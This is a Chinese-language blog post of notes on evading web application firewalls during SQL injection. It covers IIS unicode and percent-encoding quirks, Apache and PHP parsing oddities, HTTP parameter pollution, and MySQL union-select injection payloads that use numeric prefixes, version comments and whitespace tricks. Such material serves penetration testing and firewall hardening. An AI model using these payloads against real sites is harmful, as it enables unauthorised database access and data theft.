WAF Bypass 笔记（SQL注入篇）

0x01 背景

　　waf Bypass 笔记

0x02 服务器特性

1、%特性（ASP+IIS）

在asp+iis的环境中存在一个特性，就是特殊符号%，在该环境下当们我输入s%elect的时候，在WAF层可能解析出来的结果就是s%elect，但是在iis+asp的环境的时候，解析出来的结果为select。

Ps.此处猜测可能是iis下asp.dll解析时候的问题，aspx+iis的环境就没有这个特性。

2、%u特性（asp+iis和aspx+iis）

Iis服务器支持对于unicode的解析，例如我们对于select中的字符进行unicode编码，可以得到如下的s%u006c%u0006ect，这种字符在IIS接收到之后会被转换为select，但是对于WAF层，可能接收到的内容还是s%u006c%u0006ect，这样就会形成bypass的可能。

3、另类%u特性（ASP+IIS）

该漏洞主要利用的是unicode在iis解析之后会被转换成multibyte，但是转换的过程中可能出现：多个widechar会有可能转换为同一个字符。打个比方就是譬如select中的e对应的unicode为%u0065，但是%u00f0同样会被转换成为e。

s%u0065lect->select

s%u00f0lect->select

WAF层可能能识别s%u0065lect的形式，但是很有可能识别不了s%u00f0lect的形式。这样就可以利用起来做WAF的绕过。

测试情况：

s%u0045lect = s%u0065lect = %u00f0lect

u --> %u0055 --> %u0075

n -->%u004e --> %u006e

i -->%u0049 --> %u0069

o -->%u004f --> %u006f -->%u00ba

s -->%u0053 --> %u0073

l -->%u004c --> %u006c

e -->%u0045 --> %u0065-->%u00f0

c -->%u0043 --> %u0063

t -->%u0054 -->%u0074 -->%u00de -->%u00fe

f -->%u0046 -->%u0066

r -->%u0052 -->%u0072

m -->%u004d -->%u006d

4、apache畸形method

某些apache版本在做GET请求的时候，无论method为何值均会取出GET的内容，如请求为的method为DOTA2，依然返回了aid为2的结果。

php+apache畸形的boundary Php在解析multipart data的时候有自己的特性，对于boundary的识别，只取了逗号前面的内容，例如我们设置的boundary为----aaaa,123456，php解析的时候只识别了----aaaa,后面的内容均没有识别。然而其他的如WAF在做解析的时候，有可能获取的是整个字符串，此时可能就会出现BYPASS。

0x03 应用层特性

1、变换请求获取方式

GET/POST/COOKOE

2、畸形请求方式

3、HPP参数污染

HPP是指HTTP参数污染。形如以下形式：

?id=1&id=2&id=3的形式，此种形式在获取id值的时候不同的web技术获取的值是不一样的。

假设提交的参数即为：

id=1&id=2&id=3

Asp.net + iis：id=1,2,3

Asp + iis：id=1,2,3

Php + apache：id=3

0x04 数据库特性

1、MYSQL

第一：参数和union之间的位置

(1):\Nunion的形式：

select * from admin where username=\Nunion (select 1,(select schema_name from information_schema.SCHEMATA limit 0,1))

(2):浮点数的形式如1.1,8.0

select * from admin where username=1.1union (select 1,(select schema_name from information_schema.SCHEMATA limit 0,1))

(3):8e0的形式：

select * from admin where username=8e0union (select 1,(select schema_name from information_schema.SCHEMATA limit 0,1))

(4): 利用/*!50000*/的形式

select * from admin where username=1/*!50000union*/(select 1,(select schema_name from information_schema.SCHEMATA limit 0,1))

第二：union和select之前的位置

(1)空白字符

Mysql中可以利用的空白字符有：%09,%0a,%0b,%0c,%0d,%a0；

id=1%23%0aunion select 1,2

(2)注释使用空白注释

MYSQL中可以利用的空白字符有：

/**/

/*letmetest*/

3)使用括号

select * from admin where username=8e0union(select 1,(select schema_name from information_schema.SCHEMATA limit 0,1))

第三：union select后的位置

(1)空白字符

Mysql中可以利用的空白字符有：%09,%0a,%0b,%0c,%0d,%a0；

(2)注释

使用空白注释

MYSQL中可以利用的空白字符有：

/**/

/*letmetest*/

最后

欢迎关注个人微信公众号：Bypass--，每周原创一篇技术干货。